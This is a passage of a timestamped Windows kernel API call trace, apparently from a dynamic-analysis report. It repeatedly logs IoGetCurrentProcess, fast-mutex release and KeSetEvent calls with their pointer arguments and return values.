ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0082.748] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0082.748] IoGetCurrentProcess () returned 0xffffe000011ff900 [0082.748] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0082.748] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0082.748] IoGetCurrentProcess () returned 0xffffe000011ff900 [0082.748] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0082.748] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0082.752] IoGetCurrentProcess () returned 0xffffe000011ff900 [0082.752] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0082.752] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0082.779] IoGetCurrentProcess () returned 0xffffe000011ff900 [0082.779] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0082.779] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0082.779] IoGetCurrentProcess () returned 0xffffe000011ff900 [0082.779] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0082.779] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0082.779] IoGetCurrentProcess () returned 0xffffe000011ff900 [0082.779] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0082.779] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0082.784] IoGetCurrentProcess () returned 0xffffe000011ff900 [0082.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0082.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0082.784] IoGetCurrentProcess () returned 0xffffe000011ff900 [0082.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0082.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0082.784] IoGetCurrentProcess () returned 0xffffe000011ff900 [0082.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0082.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0082.800] IoGetCurrentProcess () returned 0xffffe000011ff900 [0082.800] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0082.800] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0082.801] IoGetCurrentProcess () returned 0xffffe000011ff900 [0082.801] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0082.801] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0082.801] IoGetCurrentProcess () returned 0xffffe000011ff900 [0082.801] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0082.801] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0082.929] IoGetCurrentProcess () returned 0xffffe000011ff900 [0082.929] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0082.929] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0082.929] IoGetCurrentProcess () returned 0xffffe000011ff900 [0082.929] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0082.929] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0082.929] IoGetCurrentProcess () returned 0xffffe000011ff900 [0082.930] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0082.930] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0082.994] IoGetCurrentProcess () returned 0xffffe000011ff900 [0082.994] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0082.994] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0082.994] IoGetCurrentProcess () returned 0xffffe000011ff900 [0082.994] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0082.994] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0082.994] IoGetCurrentProcess () returned 0xffffe000011ff900 [0082.994] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0082.994] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0083.238] IoGetCurrentProcess () returned 0xffffe000011ff900 [0083.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0083.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0083.238] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0083.238] IoGetCurrentProcess () returned 0xffffe000011ff900 [0083.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0083.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0083.238] IoGetCurrentProcess () returned 0xffffe000011ff900 [0083.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0083.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0083.264] IoGetCurrentProcess () returned 0xffffe000011ff900 [0083.264] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0083.264] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0083.264] IoGetCurrentProcess () returned 0xffffe000011ff900 [0083.264] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0083.265] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0083.265] IoGetCurrentProcess () returned 0xffffe000011ff900 [0083.265] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0083.265] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0083.369] IoGetCurrentProcess () returned 0xffffe000011ff900 [0083.369] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0083.369] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0083.369] IoGetCurrentProcess () returned 0xffffe000011ff900 [0083.369] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0083.369] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0083.369] IoGetCurrentProcess () returned 0xffffe000011ff900 [0083.369] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0083.369] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0083.409] IoGetCurrentProcess () returned 0xffffe000011ff900 [0083.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0083.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0083.409] IoGetCurrentProcess () returned 0xffffe000011ff900 [0083.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0083.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0083.409] IoGetCurrentProcess () returned 0xffffe000011ff900 [0083.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0083.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0085.131] IoGetCurrentProcess () returned 0xffffe000011ff900 [0085.131] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0085.131] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0085.131] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0085.131] IoGetCurrentProcess () returned 0xffffe000011ff900 [0085.131] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0085.131] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0085.131] IoGetCurrentProcess () returned 0xffffe000011ff900 [0085.131] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0085.131] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0085.402] IoGetCurrentProcess () returned 0xffffe000011ff900 [0085.402] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0085.402] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0085.402] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0085.402] IoGetCurrentProcess () returned 0xffffe000011ff900 [0085.402] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0085.403] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0085.403] IoGetCurrentProcess () returned 0xffffe000011ff900 [0085.403] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0085.403] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0085.403] IoGetCurrentProcess () returned 0xffffe000011ff900 [0085.403] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0085.403] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0085.514] IoGetCurrentProcess () returned 0xffffe000011ff900 [0085.514] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0085.514] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0087.283] IoGetCurrentProcess () returned 0xffffe000011ff900 [0087.283] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0087.283] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0087.283] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0087.286] IoGetCurrentProcess () returned 0xffffe000011ff900 [0087.286] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0087.286] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0087.286] IoGetCurrentProcess () returned 0xffffe000011ff900 [0087.286] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0087.286] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0087.286] IoGetCurrentProcess () returned 0xffffe000011ff900 [0087.286] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0087.286] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0087.291] IoGetCurrentProcess () returned 0xffffe000011ff900 [0087.291] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0087.291] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0090.209] IoGetCurrentProcess () returned 0xffffe000011ff900 [0090.209] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0090.209] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0090.209] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0090.262] IoGetCurrentProcess () returned 0xffffe000011ff900 [0090.262] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0090.262] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0090.264] IoGetCurrentProcess () returned 0xffffe000011ff900 [0090.264] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0090.264] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0090.301] IoGetCurrentProcess () returned 0xffffe000011ff900 [0090.302] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0090.302] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0090.350] IoGetCurrentProcess () returned 0xffffe000011ff900 [0090.350] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0090.350] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0090.366] IoGetCurrentProcess () returned 0xffffe000011ff900 [0090.366] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0090.367] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0090.608] IoGetCurrentProcess () returned 0xffffe000011ff900 [0090.609] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0090.609] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0090.609] IoGetCurrentProcess () returned 0xffffe000011ff900 [0090.609] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0090.609] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0091.252] IoGetCurrentProcess () returned 0xffffe000011ff900 [0091.252] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0091.252] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0091.252] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0091.253] IoGetCurrentProcess () returned 0xffffe000011ff900 [0091.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0091.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0091.253] IoGetCurrentProcess () returned 0xffffe000011ff900 [0091.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0091.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0097.224] IoGetCurrentProcess () returned 0xffffe000011ff900 [0097.224] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0097.224] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0097.224] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0097.225] IoGetCurrentProcess () returned 0xffffe000011ff900 [0097.225] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0097.225] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0097.667] IoGetCurrentProcess () returned 0xffffe000011ff900 [0097.667] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0097.667] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0097.667] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0099.895] IoGetCurrentProcess () returned 0xffffe000011ff900 [0099.896] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0099.896] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0099.897] IoGetCurrentProcess () returned 0xffffe000011ff900 [0099.897] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0099.897] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0099.898] IoGetCurrentProcess () returned 0xffffe000011ff900 [0099.898] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0099.898] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0099.899] IoGetCurrentProcess () returned 0xffffe000011ff900 [0099.899] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0099.899] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.070] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.070] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0103.070] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.070] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0103.070] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.070] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0103.070] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.070] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.070] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0103.070] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.073] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.073] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0103.073] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.073] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.073] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0103.073] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.073] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.073] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0103.073] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.287] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.287] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0103.288] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.288] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0103.290] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.290] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0103.290] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.030] IoGetCurrentProcess () returned 0xffffe000011ff900 [0107.030] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0107.030] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.077] IoGetCurrentProcess () returned 0xffffe000011ff900 [0107.077] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0107.077] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.097] IoGetCurrentProcess () returned 0xffffe000011ff900 [0107.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0107.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.154] IoGetCurrentProcess () returned 0xffffe000011ff900 [0107.154] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0107.154] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.174] IoGetCurrentProcess () returned 0xffffe000011ff900 [0107.174] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0107.174] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.192] IoGetCurrentProcess () returned 0xffffe000011ff900 [0107.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0107.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.222] IoGetCurrentProcess () returned 0xffffe000011ff900 [0107.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0107.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.079] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.079] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.079] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.090] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.090] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.090] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.136] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.136] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.136] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.160] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.160] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.160] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.180] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.180] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.180] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.197] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.197] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.197] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.227] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.227] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.227] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.248] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.248] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.248] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.274] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.274] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.274] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.292] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.292] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.292] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.339] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.340] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.340] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.355] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.355] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.355] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.383] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.383] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.383] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.421] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.421] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.421] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.455] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.455] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.455] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.478] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.478] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.478] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.493] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.493] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.493] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.497] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.497] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.497] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.515] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.515] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.515] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.538] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.539] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.539] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.571] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.571] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.571] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.575] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.575] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.575] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.591] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.591] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.591] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.636] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.636] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.636] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.667] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.667] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.667] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.686] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.686] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.686] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.711] IoGetCurrentProcess () returned 